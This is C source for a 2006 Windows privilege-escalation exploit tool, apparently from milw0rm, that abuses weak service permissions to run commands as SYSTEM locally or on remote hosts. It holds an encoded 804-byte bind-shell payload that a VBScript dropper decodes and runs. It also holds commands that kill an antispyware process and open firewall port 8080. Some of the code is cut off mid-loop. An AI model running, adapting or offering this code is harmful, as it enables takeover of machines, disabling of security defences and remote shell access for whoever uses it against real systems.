/* * Privilege Scalation for Windows Networks using weak Service restrictions v2.0 * (c) 2006 Andres Tarasco Acuña ( atarasco _at_ gmail.com ) * Date: February 6, 2006 - http://www.haxorcitos.com * http://microsoft.com/technet/security/advisory/914457.mspx * * --------------------------------------- * LIST OF WELL KNOWN VULNERABLE SERVICES * --------------------------------------- * * * Windows XP with sp2 * - As Power User: * service: DcomLaunch ( SYSTEM ) * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * Service: WMI (SYSTEM) <- sometimes as user also.. * - As User: * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * - As Network Config Operators: * service: DcomLaunch ( SYSTEM ) * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * Service: DHCP ( SYSTEM ) * Service: NetBT (SYSTEM - .sys driver) * Service DnsCache (SYSTEM) * * * Windows 2000 * - As Power user * service: WMI (SYSTEM) * * * Third Part software (local & remote code execution) * Service: [Pml Driver HPZ12] (HP Software - C:\WINNT\system32\spool\DRIVERS\W32X86\3\HPZipm12.exe) * -Granted Full Control to Everyone Group. * * Service: [Autodesk Licensing Service] (Autocad - C:\program files\Common files\Autodesk Shared\Service\AdskScSrv.exe) * -Maybe related to: https://www.securityfocus.com/bid/16472 * -Autodesk Multiple Products Remote Unauthorized Access Vulnerability * * * IMPORTANT!! You should execute this tool without Admin privileges on the target system * srvcheck.exe -? for information about usage. * * NOTE: This code compiles under Borland C++ Builder * */ #include #include //Functions void doFormatMessage( unsigned int dwLastErr ); void usage(void); DWORD StartModifiedService(SC_HANDLE SCM, char *srv, BOOL dbg); void ListVulnerableService(char *host); char *GetOwner(char *servicio); //Remove previously created files char init[]="cmd.exe /c rd /Q /S \\HXR"; char antispyware[]="taskkill.exe /IM gcasDtServ.exe"; char firewall[]="cmd.exe /c netsh firewall add portopening TCP 8080 SrvCheck ENABLE ALL"; char EncodedBackdoor[]= "cmd.exe /c md \\HXR && " //Final Bindshell-code is an 804 bytes binary //Encoded with Tarako Exe2vbs (http://www.haxorcitos.com) "echo f= \"4D5A000001z3z04z5z01z9z40z35z50z3z665AB44CCD21z10z504500004C01030048585221z8zE0000F010B010600A8z3zBCz7zC0010000C00100006802z4z400004z3z04z3z04z7z04z7z2403000028\">\\HXR\\a.vbs && " "echo f=f ^& \"02z6z02z5z10000010z4z10000010z6z10z11z880200003Cz83z6802000020z27z2E576F70z4zA6z3zC0010000A8z3zC001z14z200000602E615434z4zB6z3z68020000B8z3z6802z14z400000402E54\">>\\HXR\\a.vbs && " "echo f=f ^& \"524Bz4z04z3z2003000004z3z2003z14z400000C0558BEC81ECF4010000538D850CFEFFFF56506801010000FF157402400033F65656566A066A016A02FF15700240008BD88D45F06A10505366C745F002\">>\\HXR\\a.vbs && " "echo f=f ^& \"0066C745F21F908975F4FF15780240006A0153FF157C0240008D45F0565053FF15800240008945EC8945E88945E48D459C508D45AC505656566A015656682003400056C745AC44z3z668975DCC745D801\">>\\HXR\\a.vbs && " "echo f=f ^& \"0100008975B88975B48975E0FF15680240005E5BC9C210z3zFE02z6zE402000073000080020000800D00008001000080z4zCC02z10zF202000070020000C402z10z100300006802z22zFE02z6zE40200\">>\\HXR\\a.vbs && " "echo f=f ^& \"0073000080020000800D00008001000080z4z3D00575341536F636B65744100005753325F33322E646C6C0000440043726561746550726F636573734100004B45524E454C33322E646C6Cz4z636D6400\">>\\HXR\\a.vbs && " "echo i=1 : t = \"\" : While i^<=len(f) : If mid(f,i,1) = \"z\" then>>\\HXR\\a.vbs && " "echo a=i+1 : k = 0 : while mid(f,a,1)^<^>\"z\" : k = k*10 + mid(f,a,1) : a = a+1 : WEnd : i = a+1 : for a=1 to k : t = t + \"00\" : Next>>\\HXR\\a.vbs && " "echo ElseIf mid(f,i,1) ^<^> \"z\" then : t = t ^& mid(f,i,2) : i = i+2 >>\\HXR\\a.vbs && " "echo end if : WEnd : Set o = CreateObject(\"Scripting.FileSystemObject\") >>\\HXR\\a.vbs && " "echo Set n = o.CreateTextFile(\"\\HXR\\a.exe\", ForWriting) : i = 1 : while i ^< len(t)>>\\HXR\\a.vbs && " "echo f = Int(\"&H\" ^& Mid(t, i, 2)) : n.Write(Chr(f)) : i = i+2 : WEnd : n.Close>>\\HXR\\a.vbs && " "echo Set s=CreateObject(\"WScript.Shell\") : s.run(\"\\HXR\\a.exe\")>>\\HXR\\a.vbs &&" "\\HXR\\a.vbs /B"; BYTE LIST=0,HELP=0,BACKDOOR=1, STOP=0; char RemoteHost[256]; char permission[256]; /******************************************************************************/ int main(int argc, char* argv[]) { SC_HANDLE SCM,Svc; DWORD ret,len; char CurrentUserName[256]; char *newPath=NULL; char *host=NULL; char *user=NULL; char *pass=NULL; char *srv=NULL; int i; NETRESOURCE NET; SERVICE_STATUS_PROCESS StopStatus; printf(" Services Permissions checker v2.0\n"); printf(" (c) 2006 Andres Tarasco - atarasco%cgmail.com\n\n",'@'); if (argc==1) usage(); for (i=1;i 10000 ) dwWaitTime = 10000; Sleep( dwWaitTime ); // Check the status again. if (!QueryServiceStatusEx( Svc, // handle to service SC_STATUS_PROCESS_INFO, // info level &StartStatus, // address of structure sizeof(SERVICE_STATUS_PROCESS), // size of structure &dwByteNeeded ) ) // if buffer too small { if (dbg) printf("[-] Unable to QueryServiceStatusEx() \n"); return(-2); } if ( StartStatus.dwCheckPoint > dwOldCheckPoint ) { // The service is making progress. dwStartTickCount = GetTickCount(); dwOldCheckPoint = StartStatus.dwCheckPoint; } else { if(GetTickCount()-dwStartTickCount > StartStatus.dwWaitHint) { // No progress made within the wait hint if (dbg) printf("el servicio no se ha arrancado...\n"); break; } } } } CloseServiceHandle(Svc); if (StartStatus.dwCurrentState == SERVICE_RUNNING) { if (dbg) printf("[+] StartService SUCCESS.\n"); return 1; } else { if (dbg) printf("\n[-] Service not started. \n"); } } return(0); } /******************************************************************************/ /******************************************************************************/ void usage(void) { printf(" Usage:\n\t-l\t\t list vulnerable services\n"); printf("\t-m \t modify the configuration for that service\n"); printf("\t-c \t Command to execute throw remote service\n"); printf("\t\t\t by default. bindshell application will be used\n"); printf("\t-H \t specify a remote host to connect ip/netbiosname)\n"); printf("\t-u \t if not seletected Default logon credentials used)\n"); printf("\t-p \t if not used Default logon credentials used)\n"); printf("\t-?\t\t Extended information with samples\n"); if (HELP) { printf(" examples:\n"); printf("\tsrvcheck.exe -l (list local vulnerabilities)\n"); printf("\tsrvcheck.exe -m service (spawn a shell at port 8080)\n"); printf("\tsrvcheck.exe -m service -c \"cmd.exe /c md c:\\PWNED\"\n"), printf("\tsrvcheck -l -H host (list remote vulnerabilities)\n"); } exit(-1); } /******************************************************************************/ void ListVulnerableService(char *host) { SC_HANDLE SCM; SC_HANDLE Svc; DWORD nResumeHandle; DWORD dwServiceType; LPENUM_SERVICE_STATUS_PROCESS lpServices; DWORD nSize = 0; DWORD nServicesReturned; unsigned int n; unsigned int l=0; DWORD dwByteNeeded; LPQUERY_SERVICE_CONFIG lpConfig; char *p; SCM = OpenSCManager(host,NULL,SC_MANAGER_ENUMERATE_SERVICE); if (!SCM){ printf("[-] OpenScManager() FAILED\n"); doFormatMessage(GetLastError()); exit(-1); } nResumeHandle = 0; dwServiceType = SERVICE_WIN32 | SERVICE_DRIVER; lpServices = (LPENUM_SERVICE_STATUS_PROCESS) LocalAlloc(LPTR, 65535); if (!lpServices) { printf("[-] CRITICAL ERROR: LocalAlloc() Failed\n"); exit(-1); } memset(lpServices,'\0',sizeof(lpServices)); if (EnumServicesStatusEx(SCM, SC_ENUM_PROCESS_INFO, dwServiceType, SERVICE_STATE_ALL, (LPBYTE)lpServices, 65535, &nSize, &nServicesReturned, &nResumeHandle, NULL) == 0) { printf("EnumServicesStatusEx FAILED\n"); exit(-1); } printf("[+] Listing Vulnerable Services...\n"); for (n = 0; n < nServicesReturned; n++) { Svc = OpenService(SCM,lpServices[n].lpServiceName, SERVICE_CHANGE_CONFIG | SC_MANAGER_ENUMERATE_SERVICE |GENERIC_READ); if (Svc!=NULL) { l++; printf("\n [%s]\t\t%s\n",lpServices[n].lpServiceName, lpServices[n].lpDisplayName); printf(" Status: 0x%x\n",lpServices[n].ServiceStatusProcess.dwCurrentState); if (!host) { p=GetOwner(lpServices[n].lpServiceName); if (p) { printf(" Context:\t\t%s\n",p); } } dwByteNeeded = 0; lpConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024*8); if (QueryServiceConfig(Svc, lpConfig, 1024*8, &dwByteNeeded)!=0) { printf(" Parameter:\t\t%s\n",lpConfig->lpBinaryPathName); }else { doFormatMessage(GetLastError()); } } } printf("\n[+] Analyzed %i Services in your system\n",nServicesReturned); if (l>0) { printf("[+] You were Lucky. %i vulnerable services found\n",l); } else { printf("[+] Your system is secure! Great! :/\n"); } if (host) WNetCancelConnection2(RemoteHost,NULL,TRUE); CloseServiceHandle(SCM); LocalFree(lpServices); exit(1); } /*****************************************************************************/ char *GetOwner(char *servicio) { char path[256]; HKEY hReg; DWORD len=sizeof(permission); sprintf(path,"SYSTEM\\CurrentControlSet\\Services\\%s",servicio); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,path,0,KEY_QUERY_VALUE,&hReg)== ERROR_SUCCESS ) { if (RegQueryValueEx(hReg,"ObjectName",NULL,NULL,permission,&len)==ERROR_SUCCESS) { RegCloseKey(hReg); return(permission); } RegCloseKey(hReg); } return(NULL); } // milw0rm.com [2006-02-12]